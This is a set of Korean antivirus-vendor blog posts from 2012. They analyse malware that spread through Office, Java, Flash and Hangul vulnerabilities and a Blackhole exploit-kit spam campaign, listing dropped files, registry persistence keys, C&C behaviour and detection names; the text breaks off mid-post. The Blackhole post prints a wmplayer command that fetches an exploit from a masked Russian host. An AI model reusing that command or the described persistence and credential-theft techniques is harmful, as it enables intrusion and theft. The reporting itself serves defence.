마이크로소프트(Microsoft)에서는 8월 15일 7월 한 달간 발견된 해당 업체에서 개발한 보안 취약점들을 제거하는 보안 패치를 배포하였다. 이번 8월에 배포된 보안 패치 중에는 "MS12-060 - Windows 공용 컨트롤의 취약점으로 인한 원격 코드 실행 문제점 (2720573)"가 포함되어 있으며, 마이크로소프트에서 개발한 오피스(Office) 제품과 관련된 취약점이다.


해당 취약점에 대해 마이크로소프트는 별도의 블로그 "MS12-060: Addressing a vulnerability in MSCOMCTL.OCX's TabStrip control"를 통해 해당 MS12-060 보안 패치가 제거하는 보안 취약점 CVE-2012-1856을 악용한 타겟 공격(Targeted Attack)이 발견되었음도 같이 공개하였다.


ASEC에서는 이와 관련하여 추가적인 정보들을 수집하는 과정에서 해당 타겟 공격에 실제 악용된 것으로 알려진 악성코드를 확보하였다.


CVE-2012-1856 취약점을 악용한 타겟 공격은 이메일의 첨부 파일로 아래 이미지와 동일한 RTF(Rich Text Format)이 첨부되어 유포된 것으로 알려져 있다.



해당 CVE-2012-1856 취약점은 RTF 파일 내부에 포함되어 있는 엑티브엑스(ActiveX) 오브젝트에 의해 엑티브엑스 오프젝트 처리와 관련되어 있는 MSCOMCTL.OCX 파일의 메모리 엑세스 오류(Memory Access Error)가 발생하게 되며, 이로 인해 임의의 코드 실행이 가능해지는 취약점이다.


이 번에 발견된 CVE-2012-1856 취약점을 악용하는 RTF 파일은 V3 제품군에서는 다음과 같이 진단한다.


Dropper/CVE-2012-1856


APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/DOC.AccessViolation-DE


현재까지도 해당 타겟 공격과 관련된 공격 기법에 대해 자세한 정보들은 공개되지 않은 상황이나, 실제 공격에 악용된 사례가 발견된 만큼 마이크로소프트에서 제공하는 보안 패치 MS12-060을 설치하여 다른 보안 위협에서 해당 취약점을 악용할 경우를 대비하는 것이 중요하다.

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미국 현지 시각으로 8월 26일 보안 업체 FireEye에서 블로그 "ZERO-DAY SEASON IS NOT OVER YET"를 통해 오라클(Orcle) 자바 JRE(Java Runtime Environment) 7에서 임의의 코드를 실행 할 수 있는 코드 실행 취약점(CVE-2012-4681)을 발견하였음을 공개하였다.


현재 해당 자바 JRE 취약점은 개발 업체인 오라클에서 해당 보안 취약점을 제거할 수 있는 보안 패치를 제공하지 않고 있는 제로 데이(Zero-Day, 0-Day) 취약점으로 각별한 주의가 필요하다.


이 번에 발견된 자바 JRE 관련 제로 데이 취약점은 다음 버전의 소프트웨어에서 악용이 가능하다.


Oracle Java 7 (1.7, 1.7.0)

Java Platform Standard Edition 7 (Java SE 7)

Java SE Development Kit (JDK 7)

Java SE Runtime Environment (JRE 7)


해당 자바 JRE 관련 취약점은 최초 아래 이미지와 같이 중국에서 제작된 공다 팩(GongDa Pack)이라 불리는 웹 익스플로잇 툴킷(Web Exploit Toolkit)에서 사용되는 스크립트 악성코드를 통해 유포되었으며, 최초 유포지는 대만에 위치한 특정 시스템이다.



이 번 자바 JRE 취약점 악용을 위해 유포된 공다 팩에서 사용되는 스크립트를 디코딩 하게 되면 스크립트가 유포된 동일한 시스템에 존재하는 Appelt.jar (7,855 바이트)와 hi.exe (16,896 바이트)가 다운로드 되도록 제작되었다.


다운로드 된 Appelt.jar (7,855 바이트) 내부에는 아래 이미지와 같이 해당 CVE-2012-4681 취약점을 직접적으로 악용하도록 제작되어 있는 클래스(Class) 파일인 App.class (7,231 바이트)가 포함되어 있다.



해당 자바 JRE 취약점(CVE-2012-4681)으로 인해 실행되는 hi.exe (16,896 바이트)는 최초 실행이 되면 윈도우 시스템 폴더(C:\WINDOWS\system32\)에 mspmsnsv.dll (10,240 바이트) 파일을 생성하게 된다.


C:\WINDOWS\system32\mspmsnsv.dll 


그리고 윈도우 시스템에 존재하는 정상 프로세스인 svchost.exe를 실행하여 해당 프로세스의 스레드로 생성한 mspmsnsv.dll (10,240 바이트)을 인젝션하게 된다.


인젝션이 성공하게 되면 특정 도메인명을 가진 C&C 서버와 통신을 시도하나 분석 당시에는 정상적인 접속이 이루어지지 않았다. 정상적으로 접속이 성공하게 되면 원격 제어 등의 공격자가 의도하는 백도어 기능을 수행하게 된다.


추가적으로 핀란드 보안 업체 F-Secure에서는 블로그 "Blackhole: Faster than the speed of patch"를 통해 블랙홀 웹 익스플로잇 툴 킷(Blackhole Web Exploit Toolkit)을 통해서도 유포 중에 있는 것으로 공개하였다.


ASEC에서 이와 관련한 추가 정보들을 확인하는 과정에서 사회 공학 기법을 악용한 이메일을 통해 최소 약 300개의 도메인을 이용해  유포 중인 것으로 파악하였다.


현재 블랙홀 웹 익스플로잇 툴 킷을 통해 유포 중인 CVE-2012-4681 취약점을 악용하는 JAR 파일은 Pre.jar (31,044 바이트)Leh.jar (31,044 바이트) 파일명으로 유포 중이나 2개 모두 동일한 파일이다. 그러나 현재 언더그라운드에서는 해당 취약점을 악용 가능한 PoC(Proof of Concept)가 공개되어 있음으로 다양한 변형들이 지속적으로 유포될 것으로 예측된다.


이 번에 발견된 자바 JRE 7에서 임의의 코드를 실행 할 수 있는 코드 실행 취약점(CVE-2012-4681)을 악용하는 악성코드들 모두 V3 제품 군에서 다음과 같이 진단한다.


JS/Downloader

JAVA/CVE-2012-4681

JS/Blacole

Win-Trojan/Poison.16898 

Win-Trojan/Buzus.153447

Trojan/Win32.Npkon


그리고 네트워크 보안 장비인 트러스가드(TrusGuard) 제품군에서는 해당 취약점을 악용한 공다 팩 스크립트 악성코드와 취약한 클래스 파일을 포함한 JAR 파일을 다음과 같이 탐지 및 차단이 가능하다.


javascript_malicious_gongda-2(HTTP)

java_malicious_jar-8(HTTP)

java_malicious_jar-gd(HTTP)


앞서 언급한 바와 같이 현재 자바 JRE에서 발견된 취약점은 제로데이 취약점으로 자바 개발 업체인 오라클에서 보안 패치를 제공하지 않고 있다.


이와 관련하여 US-CERT에서는 보안 권고문 "Oracle Java JRE 1.7 Expression.execute() and SunToolkit.getField() fail to restrict access to privileged code" 을 통해 아래와 같은 사항들을 임시 방안으로 권고하고 있다.


* 자바 플러그인 비활성화


- 파이어폭스 (Firefox)

파이어폭스 실행 후 상단의 [도구]->[부가 기능]을 클릭한다. 그 중에서 "플러그인"을 선택 후 자바 관련 플러그인들을 "사용안함"으로 설정한다.


- 사파리(Safari)

[기본 설정]을 클릭후 [보안]을 선택한다. 그리고 "Java 활성화"에 체크 마크를 해제한다.



- 크롬(Chrome)

크롬을 실행 후 주소 창에 "chrome://plugins/"을 입력한 후, "JAVA Plug-in"을 사용 중지한다.


- 인터넷 익스플로러(Internet Explorer)

윈도우 제어판을 실행 훈 "Java 제어판" -> [고급]을 선택 한 후 [브라우저용 기본 Java]에서 [Microsoft Internet Explorer]에 체크 마크를 해제한다.



앞서 언급한 바와 같이 현재 해당 취약점은 보안 패치가 제공되지 않는 제로 데이 취약점임으로 각별한 주의가 필요하다. 그리고 언더그라운드에는 이미 해당 취약점을 악용 할 수 있는 PoC 코드가 공개 되었음으로 다양한 보안 위협에서 해당 취약점을 악용 할 가능성이 높을 것으로 예측 된다.

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어도비(Adobe)에서는 8월 15일인 어제 어도비 플래쉬 플레이어(Adobe Flash Player)에 존재하는 취약점인 CVE-2012-1535를 제거하기 위한 보안 패치를 배포 중임을 보안 권고문 "APSB12-18 Security update available for Adobe Flash Player"를 통해 밝혔다.


해당 보안 권고문을 통해 어도비에서는 플래쉬 플레이어에 존재하는 CVE-2012-1535 취약점은 버전 11.3.300.270 이하 버전에 발생하며, 제한적인 타겟 공격(Targeted Attack)에 악용되었음을 같이 공개하였다.


ASEC에서는 추가적인 조사와 분석을 통해 해당 CVE-2012-1535 취약점을 악용한 타겟 공격은 마이크로소프트 워드(Microsoft Word)에 임베디드(Embedded) 된 워드 파일 형태로 유포되었으며, 유포 당시 "Running Mate.doc"와 "iPhone 5 Battery.doc" 라는 파일명이 사용된 것으로 파악된다.


이번 발견된 어도비 플래쉬 플레이어에 존재하는 CVE-2012-1535 취약점을 악용하는 악성코드는 아래와 같은 워드 파일 구조를 가지고 있으며, 파일 내부에는 XOR로 인코딩된 백도어 파일도 같이 포함되어 있다.



취약한 어도비 플래쉬 플레이어 버전을 사용하는 시스템에서 해당 취약한 워드 파일을 열게 되면 내부에 포함된 취약한 SWF 파일도 함께 실행이 되며, 힙 스프레이 오버플로우(Heap spray overflow)가 발생하게 된다. 


그리고 해당 워드 파일 내부에 같이 포함되어 있는 PE 파일을 taskman.dll (61,440 바이트)라는 명칭으로 다음의 경로에 생성 하게 된다.


C:\Documents and Settings\[사용자 계정명]\Application Data\taskman.dll


그리고 시스템에 존재하는 정상 rundll32.exe 파일을 이용하여 생성된 taskman.dll (61,440 바이트) 을 생성하게 된다.


생성된 taskman.dll (61,440 바이트)가 정상적으로 실행되면 미국에 위치한 특정 시스템으로 접속을 시도하나 분석 당시에는 정상적인 접속이 이루어지지 않았다.


정상적인 접속이 이루어지게 될 경우에는 하드웨어 및 운영체제 정보와 실행 중인 프로세스 리스트 등의 정보를 수집히는 백도어 기능을 수행하고 그 정보들을 전송하게 된다.


이번에 알려진 어도비 플래쉬 플레이어의 CVE-2012-1535 취약점을 악용하는 악성코드들은 V3 제품군에서 다음과 같이 진단한다.


Dropper/Cve-2012-1535

Win-Trojan/Briba.61440

SWF/Cve-2012-1535


APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/DOC.AccessViolation-DE


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Exploit (6)


해당 CVE-2012-1535 취약점은 현재 발견된 취약한 플래쉬 플레이어 파일(.SWF)이 포함된 워드 파일에외에도 향후에는 어도비 리더(Adobe Reader)에 취약한 SWF 파일이 포함되거나 취약한 웹 사이트를 통해 SWF 파일 단독으로 유포될 가능성이 높다.


그러므로 어도비에서 현재  배포 중인 CVE-2012-1535  취약점을 제거 할 수 있는 보안 패치를 Adobe Flash Player Download Center를 통해 지금 즉시 업데이트 하여 다른 보안 위협에서 악용하는 것을 예방 하는 것이 중요 하다.


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ASEC에서는 그 동안 지속적으로 발견되고 있는 한글 소프트웨어에 존재하는 취약점을 악용한 악성코드 감염 사례들 다수를 언급하였다. 


6월 15일 - 한글 제로데이 취약점을 악용한 악성코드 유포


6월 26일 - 알려진 한글 취약점을 악용한 악성코드 유포


7월 5일 - 지속적으로 발견되는 취약한 한글 파일 유포


7월 25 - 한글 취약점을 악용한 취약한 한글 파일 추가 발견


2012년 8월 13일, 어제 다시 기존에 알려진 한글 취약점을 악용하는 취약한 한글 파일이 발견되었으며, 해당 취약한 한글 파일을 열게 되면 다음과 같은 내용이 나타나게 된다.



해당 취약한 한글 파일은 아래 이미지와 동일한 구조를 가지고 있으며 새로운 제로 데이(Zero Day, 0-Day) 취약점이 아니다.



해당 취약점은 HncTextArt_hplg에 존재하는 스택(Stack)의 경계를 체크하지 않아 발생하는 버퍼 오버플로우(Buffer Overflow) 취약점이며, 해당 취약점은 2010년부터 지속적으로 악용되어 왔던 한글 소프트웨어 취약점들 중 하나이다. 그리고 해당 취약점은 한글과 컴퓨터에서 이미 보안 패치를 제공 중에 있다. 


해당 취약점이 존재하는 한글 소프트웨어를 사용하는 시스템에서 금일 유포된 취약한 한글 파일을 열게 되면 사용자 계정의 임시 폴더에 SUCHOST.EXE (296,448 바이트) 파일을 생성하게 된다.


C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\SUCHOST.EXE


생성된 SUCHOST.EXE (296,448 바이트) 파일은 다시 SxS.DLL (296,448 바이트) DLL 파일 1개를 생성하여 감염된 시스템에서 실행 중인 모든 프로세스에 스레드로 인젝션하게 된다.


C:\Documents and Settings\All Users\Application Data\SxS.DLL

C:\Documents and Settings\All Users\Application Data\SS.LOG


그리고 동일한 위치에 생성된 SS.LOG는 감염된 시스템에서 입력된 키로깅과 웹 사이트 접속 기록들을 보관하는 로그 파일이다.


생성한 SxS.DLL (296,448 바이트)을 시스템 재부팅시에도 자동 실행하기 위해 레지스트리에 다음 키를 생성하여 "Windows SxS Services"라는 명칭의 윈도우 서비스로 등록하여 실행하게 된다.


HKLM\SYSTEM\ControlSet001\Services\SxS\Parameters\ServiceDll

"C:\Documents and Settings\All Users\Application Data\SxS.DLL"


그리고 레지스트리 키 생성이 완료가 되면 최초 취약한 한글 파일에 의해 생성되었던 SUCHOST.EXE (296,448 바이트)을 삭제하게 된다.


SxS.DLL (296,448 바이트)에 의해 스레드 인젝션된 정상 svchost.exe 파일을 통해 홍콩에 위치한 특정 시스템으로 접속을 시도하게 되나 분석 당시에는 정상적인 통신이 이루어지지 않았다.


정상적인 통신이 이루어지게 될 경우에는 감염된 시스템에서 입력되는 키보드 입력들을 가로채고 웹 사이트 접근을 모니터링 등 하는 일반적인 백도어 기능들을 수행하게 된다.


이 번에 발견된 기존에 알려진 한글 소프트웨어 취약점을 악용한 악성코드들은 V3 제품군에서 다음과 같이 진단한다.


Exploit/Hwp.AccessViolation-SEH

Backdoor/Win32.Etso


APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/HWP.AccessViolation-SEH


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Document(6)


앞서 언급한 바와 같이 한글과 컴퓨터에서 보안 패치를 배포 중인 상태이다. 그러므로 해당 보안 패치를 설치하는 것이 악성코드 감염을 근본적으로 차단하는 방안이다.

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ASEC에서는 그 동안 지속적으로 발견되고 있는 한글 소프트웨어에 존재하는 취약점을 악용한 악성코드 감염 사례들 다수를 언급하였다. 


6월 15일 - 한글 제로데이 취약점을 악용한 악성코드 유포


6월 26일 - 알려진 한글 취약점을 악용한 악성코드 유포


7월 5일 - 지속적으로 발견되는 취약한 한글 파일 유포


이러한 한글 소프트웨어 존재하는 취약점을 악용한 취약한 한글 파일이 7월 24일 다시 발견되었으며, 이 번에 발견된 취약한 한글 파일은 아래 이미지와 동일한 내용을 가지고 있다.



해당 취약한 한글 파일은 아래 이미지와 동일한 구조를 가지고 있으며 새로운 제로 데이(Zero Day, 0-Day) 취약점이 아니다.



해당 취약점은 HncTextArt_hplg에 존재하는 스택(Stack)의 경계를 체크하지 않아 발생하는 버퍼 오버플로우(Buffer Overflow) 취약점이며, 해당 취약점은 2010년부터 지속적으로 악용되어 왔던 한글 소프트웨어 취약점들 중 하나이다. 그리고 해당 취약점은 한글과 컴퓨터에서 이미 보안 패치를 제공 중에 있다. 


해당 취약점이 존재하는 한글 소프트웨어를 사용하는 시스템에서 금일 유포된 취약한 한글 파일을 열게 되면 사용자 계정의 임시 폴더에 scvhost.exe (32,768 바이트) 파일을 생성하게 된다.


C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\scvhost.exe


그러나 과거에 발견되었던 한글 취약점으로 인해 생성되는 악성코드들과 다르게 다른 파일들을 추가적으로 생성하지는 않고 자신의 복사본을 아래의 경로에 생성하게 된다.


C:\Documents and Settings\Tester\시작 메뉴\프로그램\시작프로그램\AcroRd32Info[다수의 공백]?据的.exe


생성된 scvhost.exe (32,768 바이트)의 복사본인 AcroRd32Info[다수의 공백]?据的.exe (32,768 바이트)를 윈도우 시스템의 [시작 프로그램] 폴더에 생성함으로 시스템이 재부팅 하더라도 자동 실행 하도록 한다. 


그리고 미국에 위치한 특정 시스템으로 SSL 통신을 시도하게 되나 분석 당시에는 정상적인 접속이 이루어지지 않았다. 정상적인 접속이 이루어지게 될 경우에는 공격자가 의도하는 다양한 악의적인 기능들을 수행하게 될 것으로 추정된다.


이 번에 발견된 기존에 알려진 한글 소프트웨어 취약점을 악용한 악성코드들은 V3 제품군에서 다음과 같이 진단한다.


Exploit/Hwp.AccessViolation-SEH

Win-Trojan/Agent.32768.CEX


APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/HWP.AccessViolation-SEH


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Document(6)


앞서 언급한 바와 같이 한글과 컴퓨터에서 보안 패치를 배포 중인 상태이다. 그러므로 해당 보안 패치를 설치하는 것이 악성코드 감염을 근본적으로 차단하는 방안이다.

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ASEC에서는 6월 5일 웹 익스플로잇 툴킷(Web Exploit Toolkit)의 일종인 블랙홀(Blackhole) 웹 익스플로잇 툴 킷이 스팸 메일(Spam Mail)과 결합되어 유포되었다는 사실을 밝힌 바가 있다.


금일 블랙홀 웹 익스플로잇 툴 킷과 결합된 스팸 메일이 다시 발견되었으며, 이 번에 발견된 스팸 메일은 사용자가 많은 유명 소셜 네트워크(Social Network) 서비스인 링크드인(LinkedIn)의 초대 메일로 위장하여 유포되었다.


이 번에 발견된 링크드인 스팸 메일과 결합된 형태로 유포된 블랙홀 웹 익스플로잇 툴킷은 아래 이미지와 같이 다양한 취약점들을 악용하고 있으며 최종적으로 감염된 PC에서 사용자 정보들을 탈취하기 위한 악성코드 감염을 목적으로 하고 있다.



링크드인의 초대 메일로 위장해 유포된 스팸 메일은 아래 이미지와 같은 형태를 가지고 있으며, [Accept] 부분은 정상적인 링크드인 웹 페이지로 연결되는 것이 아니라 중국에 위치한 특정 시스템으로 연결되도록 구성되어 있다.



해당 [Accept] 부분을 클릭하게 되면 중국에 위치한 특정 시스템으로 접속하며, PC 사용자에게는 아래와 같은 이미지를 보여주게 된다.



그러나 실제 해당 웹 페이지 하단에는 아래 이미지와 같이 웹 페이지 하단에는 다른 러시아에 위치한 시스템으로 연결되는 자바 스크립트 코드가 인코딩 되어 있다.



해당 자바 스크립트 코드를 디코딩하게 되면 아래 이미지와 같이 iFrame 으로 처리된 코드가 나타나며, 사용자 모르게 러시아에 위치한 블랙홀 웹 익스플로잇 툴킷이 설치되어 있는 시스템으로 연결하게 된다.



해당 블랙홀 웹 익스플로잇 툴킷에 성공적으로 연결하게 되면 웹 브라우저에 의해 CMD 명령으로 윈도우 미디어 플레이(Windows Media Player) 취약점을 악용하기 위한 시도를 하게 된다. 그러나 분석 당시 해당 취약점은 정상적으로 악용되지 않았다.


"C:\Program Files\Windows Media Player\wmplayer.exe" /open http://************.ru:8080/forum/data/hcp_asx.php?f=182b5"


그리고 두 번째로 자바(JAVA)와 인터넷 익스플로러(Internet Explorer)에 존재하는 알려진 취약점을 악용하기 위한 스크립트 파일이 실행된다.



세 번째로 어도비 아크로뱃 리더(Adobe Acrobat Reader)에 존재하는 알려진 취약점을 악용하기 위한 PDF 파일을 아래 이미지와 같이 다운로드 후 실행 하게 된다.



해당 링크드인 스팸 메일을 수신한 PC에 위에서 언급한 4개의 취약점 중 하나라도 존재 할 경우에는 동일한 시스템에서 wpbt0.dll (127,648 바이트)를 다운로드하여 다음 경로에 생성하게 된다.


C:\Documents and Settings\Tester\Local Settings\Temp\wpbt0.dll


그리고 생성된 wpbt0.dll (127,648 바이트) 는 다시 자신의 복사본을 아래 경로에 KB01458289.exe (127,648 바이트)라를 명칭으로 복사하게 된다.


C:\Documents and Settings\Tester\Application Data\KB01458289.exe


감염된 PC의 레지스트리에 다음 키 값을 생성하여 PC가 재부팅 할 때마다 자동 실행 되도록 구성하였다.


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

KB01458289.exe = C:\Documents and Settings\Tester\Application Data\KB01458289.exe


그리고 감염된 PC에서 실행 중인 모든 정상 프로세스의 스레드로 자신의 코드 일부분을 삽입한 후 다음의 정보들을 후킹하게 된다.


웹 사이트 접속 정보

FTP 시스템 접속 사용자 계정과 비밀 번호 정보

POP3 이용 프로그램 사용자 계정과 비밀 번호 정보

웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects)으로 웹 사이트 사용자 계정과 암호 정보


감염된 PC에서 수집된 정보들 모두는 아래 이미지와 같이 악성코드 내부에 하드코딩 되어 있는 특정 시스템들으로 후킹한 데이터들 전부를 인코딩하여 전송하게 된다.



그리고 마지막으로 감염된 PC 사용자에게는 아래 웹 페이지와 같이 연결을 시도한 웹 페이지를 보여주어 정상적인 접속이 실패한 것으로 위장하게 된다.



이 번에 발견된 링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포한 악성코드들은 V3 제품군에서 모두 다음과 같이 진단한다.


JS/Iframe

Packed/Win32.Krap

PDF/Exploit
JS/Exploit

링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷에서 유포를 시도한 악성코드는 기존에 발견된 온라인 뱅킹 정보 탈취를 목적으로하는 제우스(Zeus) 또는 스파이아이(SpyEye)와 유사한 웹 폼 변조(Formgrabber) 및 웹 폼 인젝션 (httpinjects) 기능으로 웹 사이트 사용자 계정과 암호 정보를 탈취 할 수 있다.


이는 악성코드 유포자가 의도하는 대부분의 웹 사이트들에서 사용자 계정과 비밀 번호 정보를 탈취 할 수 있음으로, 단순 스팸 메일로 판단되더라도 송신자가 불명확한 메일에 포함된 웹 사이트 연결 링크를 클릭하지 않는 주의가 필요하다.

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ASEC에서는 한글과 컴퓨터에서 개발하는 한글 소프트웨어에 존재하는 드 실행 제로 데이(Zero Day, 0-Day) 취약점을 악용하는 악성코드가 6월 15일 발견되었음을 공개하였다. 그리고 6월 22일에는 기존에 발견되었던 취약점을 악용한 취약한 한글 파일이 발견되었음을 공개하였다.


7월 4일 어제 다시 한글 소프트웨어에 존재하는 알려진 취약점을 악용한 취약한 한글 파일이 발견되었으며, 해당 취약한 한글 파일 역시 이메일의 첨부 파일 형태로 국내 특정 조직을 대상으로 유포 되었다.


이메일에 첨부되어 유포된 해당 취약한 한글 파일을 열게 되면 아래 이미지와 동일한 내용이 나타나게 된다.



해당 취약한 파일은 아래 이미지와 같은 구조로 되어 있으며, 6월 15일 발견된 코드 실행 취약점을 응용한 형태가 아니라 이미 보안 패치가 제공되어 있는 취약점이다.



이 번에 발견된 해당 취약한 한글 파일은 HncTextArt_hplg에 존재하는 스택(Stack)의 경계를 체크하지 않아 발생하는 버퍼 오버플로우(Buffer Overflow) 취약점이며, 해당 취약점은 2010년부터 지속적으로 악용되어 왔던 한글 소프트웨어 취약점들 중 하나이다. 그리고 해당 취약점은 한글과 컴퓨터에서 이미 보안 패치를 제공 중에 있다. 


해당 취약점이 존재하는 한글 소프트웨어를 사용하는 시스템에서 금일 유포된 취약한 한글 파일을 열게 되면 사용자 계정의 임시 폴더에 scvhost.exe (138,240 바이트) 파일을 생성하게 된다.


c:\documents and settings\[사용자 계정명]\local settings\temp\scvhost.exe ( 138,240 바이트 


생성된 scvhost.exe (138,240 바이트) 파일이 실행되면 윈도우 폴더(c:\windows) 폴더에 wdmaud.drv (78,336 바이트)를 생성하게 된다.


C:\WINDOWS\wdmaud.drv (78,336 바이트)


그리고 생성된 wdmaud.drv (78,336 바이트)는 감염된 시스템에서 다음의 정보들을 수집하여 외부로 전송을 시도하게 되나 분석 당시에는 정상적으로 접속이 되지 않았다.


하드웨어 정보

윈도우 운영체제 정보

로그인 사용자 정보

파일 업로드 및 다운로드

감염된 시스템의 IP 주소 및 프록시(Proxy) 서버 주소


금일 발견된 기존에 알려진 한글 소프트웨어 취약점을 악용한 악성코드들은 V3 제품군에서 다음과 같이 진단한다.


HWP/Exploit

Win-Trojan/Agent.138240.FK 

Trojan/Win32.Dllbot


APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/HWP.AccessViolation-DE


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Document(57)


생성되는 파일명들과 생성된 악성코드들이 가지고 있는 기능들을 미루어 볼 때 해당 악성코드 제작자는 동일한 한글 취약점과 동일한 악성코드 소스코드를 바탕으로 지속적으로 변형들을 생산해내는 것으로 분석된다.


그러므로 앞서 언급한 바와 같이 한글과 컴퓨터에서 보안 패치를 배포 중인 상태이다. 그러므로 해당 보안 패치를 설치하는 것이 악성코드 감염을 근본적으로 차단하는 방안이다.

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ASEC에서는 6월 15일 한글과 컴퓨터에서 개발한 한글 소프트웨어에 존재하는 코드 실행 취약점을 악용한 악성코드 유포 사례가 발견되었음을 공개하였다.


현재 해당 코드 실행 취약점에 대해서는 6월 22일 한글과 컴퓨터에서는 해당 취약점을 제거할 수 있는 보안 패치를 공개하여, 해당 취약점을 악용한 악성코드 감염 시도에 대해서는 원천적인 차단이 가능하다.


금일 다시 국내에서 알려진 한글 소프트웨어의 취약점을 악용하여 악성코드 감염을 시도한 사례가 발견되었다.


이 번에 유포된 취약한 한글 파일들은 국내 특정 조직들을 대상으로 발송된 이메일의 첨부 파일 형태로 유포되었으며, 첨부된 취약한 한글 파일들을 열게되면 아래 이미지와 같은 내용이 보여진다.




해당 취약한 파일은 아래 이미지와 같은 구조로 되어 있으며, 6월 15일 발견된 코드 실행 취약점을 응용한 형태가 아니라 이미 보안 패치가 제공되어 있는 취약점이다.



이 번에 발견된 해당 취약한 한글 파일은 HncTextArt_hplg에 존재하는 스택(Stack)의 경계를 체크하지 않아 발생하는 버퍼 오버플로우(Buffer Overflow) 취약점이며, 해당 취약점은 2010년부터 지속적으로 악용되어 왔던 한글 소프트웨어 취약점들 중 하나이다.


해당 취약점이 존재하는 한글 소프트웨어를 사용하는 시스템에서 금일 유포된 취약한 한글 파일을 열게 되면 사용자 계정의 임시 폴더에 scvhost.exe (138,752 바이트) 파일을 생성하게 된다.


c:\documents and settings\[사용자 계정명]\local settings\temp\scvhost.exe (138,752 바이트) 


생성된 scvhost.exe (138,752 바이트) 파일이 실행되면 윈도우 폴더(c:\windows) 폴더에 wdmaud.drv (78,848 바이트)와 wdmaud.dat (78,848 바이트)를 생성하게 된다.


C:\WINDOWS\wdmaud.drv (78,848 바이트)

C:\WINDOWS\wdmaud.dat (78,848 바이트) 


wdmaud.dat (78,848 바이트)는 인코딩되어 있는 파일로 해당 파일을 디코딩하게 되면 실행 가능한 PE 파일이 wdmaud.drv (78,848 바이트)이 생성된다.


wdmaud.dat (78,848 바이트)의 디코딩 작업이 완료되어 wdmaud.drv (78,848 바이트)가 생성되면 해당 scvhost.exe (138,752 바이트)에 의해 해당 파일은 삭제된다.


그리고 생성된 wdmaud.drv (78,848 바이트)는 감염된 시스템에서 다음의 정보들을 수집하여 외부로 전송을 시도하게 되나 분석 당시에는 정상적으로 접속이 되지 않았다.


하드웨어 정보

윈도우 운영체제 정보

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감염된 시스템의 IP 주소 및 프록시(Proxy) 서버 주소


금일 발견된 기존에 알려진 한글 소프트웨어 취약점을 악용한 악성코드들은 V3 제품군에서 다음과 같이 진단한다.


HWP/Agent
Win-Trojan/Npkon.138752
Trojan/Win32.Dllbot

APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.

Exploit/HWP.AccessViolation-DE

향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.

Dropper/MDP.Document(57)

앞서 언급한 바와 같이 금일 유포된 취약한 한글 파일은 이미 한글과 컴퓨터에서 보안 패치를 배포 중인 상태이다. 그러므로 해당 보안 패치를 설치하는 것이 악성코드 감염을 근본적으로 차단하는 방안이다.


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Posted by 비회원

한국에서 많이 사용되는 한글 소프트웨어에 존재하는 알려지지 않은 제로데이(0-Day, Zero-Day) 취약점 또는 기존에 알려진 취약점을 악용한 악성코드 유포는 2010년 무렵부터 국내에서 발견되기 시작하였다.


이러한 취약점이 발견될 때마다 한글 소프트웨어를 개발하는 한글과 컴퓨터에서는 발견된 해당 취약점을 제거하는 보안 패치도 꾸준히 배포하였다.


금일 다시 한글 소프트웨어에 존재하는 알려지지 않은 제로 데이 취약점을 악용하여 악성코드 감염을 시도한 사례가 발견되었다.


이 번에 발견된 취약점을 포함하고 있는 취약한 한글 파일(HWP)은 986,624 바이트의 크기를 가지고 있으며, 전자 메일의 첨부 파일 형태로 유포된 것으로 파악하고 있다.



해당 취약한 파일은 아래 이미지와 같은 구조를 가지고 있으며, 한글 파일 내부에 다른 PE 파일이 인코딩 된 상태로 포함되어 있다.



이 번에 발견된 해당 취약한 한글 파일은 아래 이미지와 같은 전체적인 악성코드 감염 구조를 가지고 있으며, 다른 악성코드들과 로그 파일을 생성하게 된다.



해당 취약한 한글 파일을 실행하게 되면 사용 중인 윈도우(Windows) 시스템에 다음의 파일이 생성된다.


C:\WINDOWS\YAHOO.dll (135,168 바이트)


생성된 해당 YAHOO.dll 파일은 다시 윈도우 시스템 폴더(C:\WINDOWS\system32\)에 다음 파일들을 생성하게 된다.


C:\WINDOWS\system32\winview.exe  (49,152 바이트)

C:\WINDOWS\system32\c_38901.nls (45,056 바이트)


그리고 다시 생성된 파일 중 하나인 winview.exe 는 다시 자신의 복사본을 아래와 같이 생성하고 감염된 시스템의 정보들을 기록하는 로그 파일을 생성하게 된다. 


